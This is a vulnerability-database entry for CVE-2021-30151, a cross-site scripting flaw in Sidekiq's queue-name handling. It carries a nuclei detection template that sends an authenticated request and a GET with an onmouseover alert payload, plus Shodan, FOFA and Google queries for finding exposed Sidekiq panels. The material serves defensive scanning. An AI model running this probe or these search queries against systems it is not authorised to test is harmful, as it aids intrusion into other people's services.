HexBrain

Browse / CVEs / CVE-2021-30151

CVE-2021-30151· contribsys / sidekiq· CWE-79

Sidekiq <=6.2.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
4.2%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it

Sidekiq through 5.1.3 and 6.x through 6.2.0 contains a cross-site scripting vulnerability via the queue name of the live-poll feature when Internet Explorer is used.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access, data theft, or session hijacking.

Fix

Upgrade to Sidekiq version 6.2.0 or later to mitigate this vulnerability.

How to confirm it

Send: POST /api/auth ; GET /queues/"onmouseover="alert(document.domain)"
Positive when: contains "onmouseover=\"alert(document.domain)" and "sidekiq" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-30151 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-30151

info:
  name: Sidekiq <=6.2.0 - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: Sidekiq through 5.1.3 and 6.x through 6.2.0 contains a cross-site scripting vulnerability via the queue name of the live-poll feature when Internet Explorer is used.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data theft, or session hijacking.
  remediation: |
    Upgrade to Sidekiq version 6.2.0 or later to mitigate this vulnerability.
  reference:
    - https://github.com/mperham/sidekiq/issues/4852
    - https://lists.debian.org/debian-lts-announce/2022/03/msg00015.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30151
    - https://lists.debian.org/debian-lts-announce/2023/03/msg00011.html
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-30151
    cwe-id: CWE-79
    epss-score: 0.04158
    epss-percentile: 0.90957
    cpe: cpe:2.3:a:contribsys:sidekiq:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: contribsys
    product: sidekiq
    shodan-query:
      - title:"Sidekiq"
      - http.title:"sidekiq"
    fofa-query: title="sidekiq"
    google-query: intitle:"sidekiq"
  tags: cve2021,cve,xss,sidekiq,authenticated,contribsys,vuln

http:
  - raw:
      - |
        POST /api/auth HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"email":"{{username}}","password":"{{password}}"}
      - |
        GET /queues/"onmouseover="alert(document.domain)" HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'onmouseover="alert(document.domain)'
          - 'sidekiq'
        condition: and
        case-insensitive: true

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from